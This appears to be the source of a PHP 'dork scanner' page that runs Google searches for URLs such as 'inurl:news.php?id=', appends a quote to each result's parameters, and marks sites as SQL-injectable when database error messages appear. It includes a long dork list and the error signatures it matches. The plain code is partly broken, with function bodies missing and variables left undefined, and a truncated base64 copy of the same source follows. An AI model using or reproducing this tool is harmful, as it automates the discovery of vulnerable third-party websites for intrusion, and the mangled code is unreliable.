<?php
// unlimited google scanner modified by FANEq powered by xzxxx7
// now u can scan whole google without blocking by captcha or 64 result per page.
header('Content-Type: text/html; charset=UTF-8');
$error[] = 'You have an error in your SQL';
$error[] = 'supplied argument is not a valid MySQL result resource in';
$error[] = 'Division by zero in';
$error[] = 'Call to a member function';
$error[] = 'Microsoft JET Database';
$error[] = 'ODBC Microsoft Access Driver';
$error[] = 'Microsoft OLE DB Provider for SQL Server';
$error[] = 'Unclosed quotation mark';
$error[] = 'Microsoft OLE DB Provider for Oracle';
$error[] = 'Incorrect syntax near';
$error[] = 'SQL query failed';
function google_that($query, $page=1){
$resultPerPage=8; //max result per page is 8 (GOOGLE rules)
$start = $page*$resultPerPage;
$url = "http://a...content-available-to-author-only...s.com/ajax/services/search/web?v=1.0&hl=iw&rsz=8&start=0&q=".$start."&q" . urlencode($query);
/* Get result */
/* Check result */
if(isset($resultFromGoogle['responseStatus'])){
/* Check response status */
if($resultFromGoogle['responseStatus'] != '200') return false; //die( 'The function <b>' . __FUNCTION__ . '</b> Kill me :( <br>' . $resultFromGoogle['responseDetails'] . '<br>' .$url );
/* Count results */
if(sizeof($resultFromGoogle['responseData']['results']) == 0) return false; //if no results return false else return $resultFromGoogle['responseData']['results']; //return the results
}
/*
if this function kill the script, go to --> http://code.google.com/intl/iw/apis/websearch/docs/ AND LEARN!!
*/
else
die('The function <b>' . __FUNCTION__ . '</b> Kill me :( <br>' . $url );
}
function http_get($url, $safemode = false){ if($safemode === true) sleep(1); // safe mode, i dont want GOOGLE ban me.. }
function check_injection($url){
$errors = implode("|", $GLOBALS['error']); }
?>
<!DOCTYPE html>
<html>
<head>
<meta name="Content-Type" content="text/html; charset=UTF-8">
<title>Dork Scanner edited by FANEq powered by xzxxx7</title>
<style type="text/css">
body{ background-color:#000000; font: normal 18px Arial; color:#ffffff;}
input{ border-width:0px; padding:2px; width:250px; }
a{ text-decoration:none; color:#ffffff;}
#button{ width:50px;}
#result{margin:10px;}
#result span{display:block;}
#result .Y{background-color:green;}
#result .X{background-color:red;}
</style>
</head>
<body>
<form method="post">
Dork
<select onchange="document.getElementById('dork').value=this.options[this.selectedIndex].text;"><!-- By Styx http://t...content-available-to-author-only...d.net/showthread.php?tid=152 --><option>inurl:trainers.php?id=</option><option>inurl:buy.php?category=</option><option>inurl:article.php?ID=</option><option>inurl:play_old.php?id=</option><option>inurl:declaration_more.php?decl_id=</option><option>inurl:pageid=</option><option>inurl:games.php?id=</option><option>inurl:page.php?file=</option><option>inurl:newsDetail.php?id=</option><option>inurl:gallery.php?id=</option><option>inurl:article.php?id=</option><option>inurl:show.php?id=</option><option>inurl:staff_id=</option><option>inurl:newsitem.php?num=</option><option>inurl:readnews.php?id=</option><option>inurl:top10.php?cat=</option><option>inurl:historialeer.php?num=</option><option>inurl:reagir.php?num=</option><option>inurl:Stray-Questions-View.php?num=</option><option>inurl:forum_bds.php?num=</option><option>inurl:game.php?id=</option><option>inurl:view_product.php?id=</option><option>inurl:newsone.php?id=</option><option>inurl:sw_comment.php?id=</option><option>inurl:news.php?id=</option><option>inurl:avd_start.php?avd=</option><option>inurl:event.php?id=</option><option>inurl:product-item.php?id=</option><option>inurl:sql.php?id=</option><option>inurl:news_view.php?id=</option><option>inurl:select_biblio.php?id=</option><option>inurl:humor.php?id=</option><option>inurl:aboutbook.php?id=</option><option>inurl:ogl_inet.php?ogl_id=</option><option>inurl:fiche_spectacle.php?id=</option><option>inurl:communique_detail.php?id=</option><option>inurl:sem.php3?id=</option><option>inurl:kategorie.php4?id=</option><option>inurl:news.php?id=</option><option>inurl:index.php?id=</option><option>inurl:faq2.php?id=</option><option>inurl:show_an.php?id=</option><option>inurl:preview.php?id=</option><option>inurl:loadpsb.php?id=</option><option>inurl:opinions.php?id=</option><option>inurl:spr.php?id=</option><option>inurl:pages.php?id=</option><option>inurl:announce.php?id=</option><option>inurl:clanek.php4?id=</option><option>inurl:participant.php?id=</option><option>inurl:download.php?id=</option><option>inurl:main.php?id=</option><option>inurl:review.php?id=</option><option>inurl:chappies.php?id=</option><option>inurl:read.php?id=</option><option>inurl:prod_detail.php?id=</option><option>inurl:viewphoto.php?id=</option><option>inurl:article.php?id=</option><option>inurl:person.php?id=</option><option>inurl:productinfo.php?id=</option><option>inurl:showimg.php?id=</option><option>inurl:view.php?id=</option><option>inurl:website.php?id=</option><option>inurl:hosting_info.php?id=</option><option>inurl:gallery.php?id=</option><option>inurl:rub.php?idr=</option><option>inurl:view_faq.php?id=</option><option>inurl:artikelinfo.php?id=</option><option>inurl:detail.php?ID=</option><option>inurl:index.php?=</option><option>inurl:profile_view.php?id=</option><option>inurl:category.php?id=</option><option>inurl:publications.php?id=</option><option>inurl:fellows.php?id=</option><option>inurl:downloads_info.php?id=</option><option>inurl:prod_info.php?id=</option><option>inurl:shop.php?do=part&id=</option><option>inurl:productinfo.php?id=</option><option>inurl:collectionitem.php?id=</option><option>inurl:band_info.php?id=</option><option>inurl:product.php?id=</option><option>inurl:releases.php?id=</option><option>inurl:ray.php?id=</option><option>inurl:produit.php?id=</option><option>inurl:pop.php?id=</option><option>inurl:shopping.php?id=</option><option>inurl:productdetail.php?id=</option><option>inurl:post.php?id=</option><option>inurl:viewshowdetail.php?id=</option><option>inurl:clubpage.php?id=</option><option>inurl:memberInfo.php?id=</option><option>inurl:section.php?id=</option><option>inurl:theme.php?id=</option><option>inurl:page.php?id=</option><option>inurl:shredder-categories.php?id=</option><option>inurl:tradeCategory.php?id=</option><option>inurl:product_ranges_view.php?ID=</option><option>inurl:shop_category.php?id=</option><option>inurl:transcript.php?id=</option><option>inurl:channel_id=</option><option>inurl:item_id=</option><option>inurl:newsid=</option><option>inurl:trainers.php?id=</option><option>inurl:news-full.php?id=</option><option>inurl:news_display.php?getid=</option><option>inurl:index2.php?option=</option><option>inurl:readnews.php?id=</option><option>inurl:top10.php?cat=</option><option>inurl:newsone.php?id=</option><option>inurl:event.php?id=</option><option>inurl:product-item.php?id=</option><option>inurl:sql.php?id=</option><option>inurl:aboutbook.php?id=</option><option>inurl:preview.php?id=</option><option>inurl:loadpsb.php?id=</option><option>inurl:pages.php?id=</option><option>inurl:material.php?id=</option><option>inurl:clanek.php4?id=</option><option>inurl:announce.php?id=</option><option>inurl:chappies.php?id=</option><option>inurl:read.php?id=</option><option>inurl:viewapp.php?id=</option><option>inurl:viewphoto.php?id=</option><option>inurl:rub.php?idr=</option><option>inurl:galeri_info.php?l=</option><option>inurl:review.php?id=</option><option>inurl:iniziativa.php?in=</option><option>inurl:curriculum.php?id=</option><option>inurl:labels.php?id=</option><option>inurl:story.php?id=</option><option>inurl:look.php?ID=</option><option>inurl:newsone.php?id=</option><option>inurl:aboutbook.php?id=</option><option>inurl:material.php?id=</option><option>inurl:opinions.php?id=</option><option>inurl:announce.php?id=</option><option>inurl:rub.php?idr=</option><option>inurl:galeri_info.php?l=</option><option>inurl:tekst.php?idt=</option><option>inurl:newscat.php?id=</option><option>inurl:newsticker_info.php?idn=</option><option>inurl:rubrika.php?idr=</option><option>inurl:rubp.php?idr=</option><option>inurl:offer.php?idf=</option><option>inurl:art.php?idm=</option><option>inurl:title.php?id=</option></select>
<input type="text" id="dork" name="dork" value="
<?php echo (isset($_POST['dork']{0})) ?
htmlentities($_POST['dork']) : 'inurl:php?id='; ?>" />
<input type="submit" value="Start" id="button"/>
</form>
<?php
if(isset($_POST['dork']{0})){ $dork=$_POST['dork'];
echo '<div id="result">Start..<br>';
letItBy();
$googlePage=0;
while(1<2){
$googlePage=$googlePage+1;
$googleResult = google_that($dork, 1);
for($Delete = 0; $Delete < sizeof($googleResult); $Delete++){ $last=$googleResult[$Delete]['unescapedUrl'];
$DeleteFromDork = substr($DeleteFromDork,0,strpos($DeleteFromDork,"/")); $dork.=" -";
$dork.=$DeleteFromDork;
}
if(!$googleResult){
echo 'google dont heve more result, so I done..(?)';
break;
}
for($victim = 0; $victim < sizeof($googleResult); $victim++){
if(check_injection($googleResult[$victim]['unescapedUrl'])){
echo '<span class="Y">';
// file_put_contents("log.txt", "{$googleResult[$victim]['unescapedUrl']}\n");
}
else echo '<span class="X">';
echo "<a href=\"{$googleResult[$victim]['unescapedUrl']}\" target='_blank'>{$googleResult[$victim]['unescapedUrl']}</a></span>\n";
letItBy();
}
}
echo '</div>';
}
?>
Dork scanner edited by FANEq.
</body>
</html>
PD9waHAKLy8gdW5saW1pdGVkIGdvb2dsZSBzY2FubmVyIG1vZGlmaWVkIGJ5IEZBTkVxIHBvd2VyZWQgYnkgeHp4eHg3Ci8vIG5vdyB1IGNhbiBzY2FuIHdob2xlIGdvb2dsZSB3aXRob3V0IGJsb2NraW5nIGJ5IGNhcHRjaGEgb3IgNjQgcmVzdWx0IHBlciBwYWdlLgogICAgICAgIHNldF90aW1lX2xpbWl0KDApOwogICAgICAgIGluaV9zZXQoJ21lbW9yeV9saW1pdCcsICc2NE0nKTsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7CiAKICAgICAgIAogICAgICAgICRlcnJvcltdID0gJ1lvdSBoYXZlIGFuIGVycm9yIGluIHlvdXIgU1FMJzsKICAgICAgICAkZXJyb3JbXSA9ICdzdXBwbGllZCBhcmd1bWVudCBpcyBub3QgYSB2YWxpZCBNeVNRTCByZXN1bHQgcmVzb3VyY2UgaW4nOwogICAgICAgICRlcnJvcltdID0gJ0RpdmlzaW9uIGJ5IHplcm8gaW4nOwogICAgICAgICRlcnJvcltdID0gJ0NhbGwgdG8gYSBtZW1iZXIgZnVuY3Rpb24nOwogICAgICAgICRlcnJvcltdID0gJ01pY3Jvc29mdCBKRVQgRGF0YWJhc2UnOyAKICAgICAgICAkZXJyb3JbXSA9ICdPREJDIE1pY3Jvc29mdCBBY2Nlc3MgRHJpdmVyJzsKICAgICAgICAkZXJyb3JbXSA9ICdNaWNyb3NvZnQgT0xFIERCIFByb3ZpZGVyIGZvciBTUUwgU2VydmVyJzsKICAgICAgICAkZXJyb3JbXSA9ICdVbmNsb3NlZCBxdW90YXRpb24gbWFyayc7CiAgICAgICAgJGVycm9yW10gPSAnTWljcm9zb2Z0IE9MRSBEQiBQcm92aWRlciBmb3IgT3JhY2xlJzsKICAgICAgICAkZXJyb3JbXSA9ICdJbmNvcnJlY3Qgc3ludGF4IG5lYXInOwogICAgICAgICRlcnJvcltdID0gJ1NRTCBxdWVyeSBmYWlsZWQnOwogICAgICAgCiAgICAgICAgZnVuY3Rpb24gbGV0SXRCeSgpeyBvYl9mbHVzaCgpOyBmbHVzaCgpOyB9CiAgICAgICAKICAgICAgICBmdW5jdGlvbiBnb29nbGVfdGhhdCgkcXVlcnksICRwYWdlPTEpewogICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICRyZXN1bHRQZXJQYWdlPTg7IC8vbWF4IHJlc3VsdCBwZXIgcGFnZSBpcyA4IChHT09HTEUgcnVsZXMpCiAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgJHN0YXJ0ID0gJHBhZ2UqJHJlc3VsdFBlclBhZ2U7CiAgICAgICAKICAgICAgICAgICAgICAgICR1cmwgPSAiaHR0cDovL2EuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLnMuY29tL2FqYXgvc2VydmljZXMvc2VhcmNoL3dlYj92PTEuMCZobD1pdyZyc3o9OCZzdGFydD0wJnE9Ii4kc3RhcnQuIiZxIiAuIHVybGVuY29kZSgkcXVlcnkpOwogICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIC8qIEdldCByZXN1bHQgKi8KICAgICAgICAgICAgICAgICRyZXN1bHRGcm9tR29vZ2xlID0ganNvbl9kZWNvZGUoIGh0dHBfZ2V0KCR1cmwsIHRydWUpICx0cnVlKTsKIAogICAgICAgICAgICAgICAgLyogQ2hlY2sgcmVzdWx0ICovCiAgICAgICAgICAgICAgICBpZihpc3NldCgkcmVzdWx0RnJvbUdvb2dsZVsncmVzcG9uc2VTdGF0dXMnXSkpewogICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAvKiBDaGVjayByZXNwb25zZSBzdGF0dXMgKi8KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHJlc3VsdEZyb21Hb29nbGVbJ3Jlc3BvbnNlU3RhdHVzJ10gIT0gJzIwMCcpIHJldHVybiBmYWxzZTsgLy9kaWUoICdUaGUgZnVuY3Rpb24gPGI+JyAuIF9fRlVOQ1RJT05fXyAuICc8L2I+IEtpbGwgbWUgOiggPGJyPicgLiAkcmVzdWx0RnJvbUdvb2dsZVsncmVzcG9uc2VEZXRhaWxzJ10gLiAnPGJyPicgLiR1cmwgKTsKICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgLyogQ291bnQgcmVzdWx0cyAqLwogICAgICAgICAgICAgICAgICAgICAgICBpZihzaXplb2YoJHJlc3VsdEZyb21Hb29nbGVbJ3Jlc3BvbnNlRGF0YSddWydyZXN1bHRzJ10pID09IDApIHJldHVybiBmYWxzZTsgLy9pZiBubyByZXN1bHRzIHJldHVybiBmYWxzZQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlIHJldHVybiAkcmVzdWx0RnJvbUdvb2dsZVsncmVzcG9uc2VEYXRhJ11bJ3Jlc3VsdHMnXTsgLy9yZXR1cm4gdGhlIHJlc3VsdHMKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIC8qCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIHRoaXMgZnVuY3Rpb24ga2lsbCB0aGUgc2NyaXB0LCBnbyB0byAtLT4gaHR0cDovL2NvZGUuZ29vZ2xlLmNvbS9pbnRsL2l3L2FwaXMvd2Vic2VhcmNoL2RvY3MvIEFORCBMRUFSTiEhCiAgICAgICAgICAgICAgICAqLwogICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICBkaWUoJ1RoZSBmdW5jdGlvbiA8Yj4nIC4gX19GVU5DVElPTl9fIC4gJzwvYj4gS2lsbCBtZSA6KCA8YnI+JyAuICR1cmwgKTsKIAogICAgICAgIH0KICAgICAgIAogICAgICAgIGZ1bmN0aW9uIGh0dHBfZ2V0KCR1cmwsICRzYWZlbW9kZSA9IGZhbHNlKXsKICAgICAgICAgICAgICAgIGlmKCRzYWZlbW9kZSA9PT0gdHJ1ZSkgc2xlZXAoMSk7IC8vIHNhZmUgbW9kZSwgaSBkb250IHdhbnQgR09PR0xFIGJhbiBtZS4uCiAgICAgICAgICAgICAgICAkaW0gPSBjdXJsX2luaXQoJHVybCk7CiAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkaW0sIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGltLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAxMCk7CiAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkaW0sIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwogICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGltLCBDVVJMT1BUX0hFQURFUiwgMCk7CiAgICAgICAgICAgICAgICByZXR1cm4gY3VybF9leGVjKCRpbSk7CiAgICAgICAgICAgICAgICBjdXJsX2Nsb3NlKCk7CiAgICAgICAgfQogCiAgICAgICAgZnVuY3Rpb24gY2hlY2tfaW5qZWN0aW9uKCR1cmwpewogICAgICAgICAgICAgICAgJGRhdGEgPSBodHRwX2dldCggc3RyX3JlcGxhY2UoIj0iLCAiPSciLCAkdXJsKSApOwogICAgICAgICAgICAgICAgJGVycm9ycyA9IGltcGxvZGUoInwiLCAkR0xPQkFMU1snZXJyb3InXSk7CiAgICAgICAgICAgICAgICByZXR1cm4gcHJlZ19tYXRjaCgiI3skZXJyb3JzfSNpIiwgJGRhdGEpOwogICAgICAgIH0KIAo/Pgo8IURPQ1RZUEUgaHRtbD4KPGh0bWw+CiAgICAgICAgPGhlYWQ+CiAgICAgICAgICAgICAgICA8bWV0YSBuYW1lPSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+CiAgICAgICAgICAgICAgICA8dGl0bGU+RG9yayBTY2FubmVyIGVkaXRlZCBieSBGQU5FcSBwb3dlcmVkIGJ5IHh6eHh4NzwvdGl0bGU+CiAgICAgICAgICAgICAgICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgogICAgICAgICAgICAgICAgICAgICAgICBib2R5eyBiYWNrZ3JvdW5kLWNvbG9yOiMwMDAwMDA7IGZvbnQ6IG5vcm1hbCAxOHB4IEFyaWFsOyBjb2xvcjojZmZmZmZmO30KICAgICAgICAgICAgICAgICAgICAgICAgaW5wdXR7IGJvcmRlci13aWR0aDowcHg7IHBhZGRpbmc6MnB4OyB3aWR0aDoyNTBweDsgfQogICAgICAgICAgICAgICAgICAgICAgICBheyB0ZXh0LWRlY29yYXRpb246bm9uZTsgY29sb3I6I2ZmZmZmZjt9CiAgICAgICAgICAgICAgICAgICAgICAgICNidXR0b257IHdpZHRoOjUwcHg7fQogICAgICAgICAgICAgICAgICAgICAgICAjcmVzdWx0e21hcmdpbjoxMHB4O30KICAgICAgICAgICAgICAgICAgICAgICAgI3Jlc3VsdCBzcGFue2Rpc3BsYXk6YmxvY2s7fQogICAgICAgICAgICAgICAgICAgICAgICAjcmVzdWx0IC5Ze2JhY2tncm91bmQtY29sb3I6Z3JlZW47fQogICAgICAgICAgICAgICAgICAgICAgICAjcmVzdWx0IC5Ye2JhY2tncm91bmQtY29sb3I6cmVkO30KICAgICAgICAgICAgICAgIDwvc3R5bGU+CiAgICAgICAgPC9oZWFkPgogICAgICAgIDxib2R5PgogICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgRG9yawogICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IG9uY2hhbmdlPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZG9yaycpLnZhbHVlPXRoaXMub3B0aW9uc1t0aGlzLnNlbGVjdGVkSW5kZXhdLnRleHQ7Ij48IS0tIEJ5IFN0eXggaHR0cDovL3QuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLmQubmV0L3Nob3d0aHJlYWQucGhwP3RpZD0xNTIgLS0+PG9wdGlvbj5pbnVybDp0cmFpbmVycy5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpidXkucGhwP2NhdGVnb3J5PTwvb3B0aW9uPjxvcHRpb24+aW51cmw6YXJ0aWNsZS5waHA/SUQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpwbGF5X29sZC5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpkZWNsYXJhdGlvbl9tb3JlLnBocD9kZWNsX2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6cGFnZWlkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6Z2FtZXMucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6cGFnZS5waHA/ZmlsZT08L29wdGlvbj48b3B0aW9uPmludXJsOm5ld3NEZXRhaWwucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6Z2FsbGVyeS5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDphcnRpY2xlLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnNob3cucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6c3RhZmZfaWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpuZXdzaXRlbS5waHA/bnVtPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6cmVhZG5ld3MucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6dG9wMTAucGhwP2NhdD08L29wdGlvbj48b3B0aW9uPmludXJsOmhpc3RvcmlhbGVlci5waHA/bnVtPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6cmVhZ2lyLnBocD9udW09PC9vcHRpb24+PG9wdGlvbj5pbnVybDpTdHJheS1RdWVzdGlvbnMtVmlldy5waHA/bnVtPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6Zm9ydW1fYmRzLnBocD9udW09PC9vcHRpb24+PG9wdGlvbj5pbnVybDpnYW1lLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnZpZXdfcHJvZHVjdC5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpuZXdzb25lLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnN3X2NvbW1lbnQucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6bmV3cy5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDphdmRfc3RhcnQucGhwP2F2ZD08L29wdGlvbj48b3B0aW9uPmludXJsOmV2ZW50LnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnByb2R1Y3QtaXRlbS5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpzcWwucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6bmV3c192aWV3LnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnNlbGVjdF9iaWJsaW8ucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6aHVtb3IucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6YWJvdXRib29rLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOm9nbF9pbmV0LnBocD9vZ2xfaWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpmaWNoZV9zcGVjdGFjbGUucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6Y29tbXVuaXF1ZV9kZXRhaWwucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6c2VtLnBocDM/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDprYXRlZ29yaWUucGhwND9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOm5ld3MucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6aW5kZXgucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6ZmFxMi5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpzaG93X2FuLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnByZXZpZXcucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6bG9hZHBzYi5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpvcGluaW9ucy5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpzcHIucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6cGFnZXMucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6YW5ub3VuY2UucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6Y2xhbmVrLnBocDQ/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpwYXJ0aWNpcGFudC5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpkb3dubG9hZC5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDptYWluLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnJldmlldy5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpjaGFwcGllcy5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpyZWFkLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnByb2RfZGV0YWlsLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnZpZXdwaG90by5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDphcnRpY2xlLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnBlcnNvbi5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpwcm9kdWN0aW5mby5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpzaG93aW1nLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnZpZXcucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6d2Vic2l0ZS5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpob3N0aW5nX2luZm8ucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6Z2FsbGVyeS5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpydWIucGhwP2lkcj08L29wdGlvbj48b3B0aW9uPmludXJsOnZpZXdfZmFxLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOmFydGlrZWxpbmZvLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOmRldGFpbC5waHA/SUQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDppbmRleC5waHA/PTwvb3B0aW9uPjxvcHRpb24+aW51cmw6cHJvZmlsZV92aWV3LnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOmNhdGVnb3J5LnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnB1YmxpY2F0aW9ucy5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpmZWxsb3dzLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOmRvd25sb2Fkc19pbmZvLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnByb2RfaW5mby5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpzaG9wLnBocD9kbz1wYXJ0JmlkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6cHJvZHVjdGluZm8ucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6Y29sbGVjdGlvbml0ZW0ucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6YmFuZF9pbmZvLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnByb2R1Y3QucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6cmVsZWFzZXMucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6cmF5LnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnByb2R1aXQucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6cG9wLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnNob3BwaW5nLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnByb2R1Y3RkZXRhaWwucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6cG9zdC5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDp2aWV3c2hvd2RldGFpbC5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpjbHVicGFnZS5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDptZW1iZXJJbmZvLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnNlY3Rpb24ucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6dGhlbWUucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6cGFnZS5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpzaHJlZGRlci1jYXRlZ29yaWVzLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnRyYWRlQ2F0ZWdvcnkucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6cHJvZHVjdF9yYW5nZXNfdmlldy5waHA/SUQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpzaG9wX2NhdGVnb3J5LnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnRyYW5zY3JpcHQucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6Y2hhbm5lbF9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOml0ZW1faWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpuZXdzaWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDp0cmFpbmVycy5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpuZXdzLWZ1bGwucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6bmV3c19kaXNwbGF5LnBocD9nZXRpZD08L29wdGlvbj48b3B0aW9uPmludXJsOmluZGV4Mi5waHA/b3B0aW9uPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6cmVhZG5ld3MucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6dG9wMTAucGhwP2NhdD08L29wdGlvbj48b3B0aW9uPmludXJsOm5ld3NvbmUucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6ZXZlbnQucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6cHJvZHVjdC1pdGVtLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnNxbC5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDphYm91dGJvb2sucGhwP2lkPTwvb3B0aW9uPjxvcHRpb24+aW51cmw6cHJldmlldy5waHA/aWQ9PC9vcHRpb24+PG9wdGlvbj5pbnVybDpsb2FkcHNiLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOnBhZ2VzLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOm1hdGVyaWFsLnBocD9pZD08L29wdGlvbj48b3B0aW9uPmludXJsOmNsYW5lay5waHA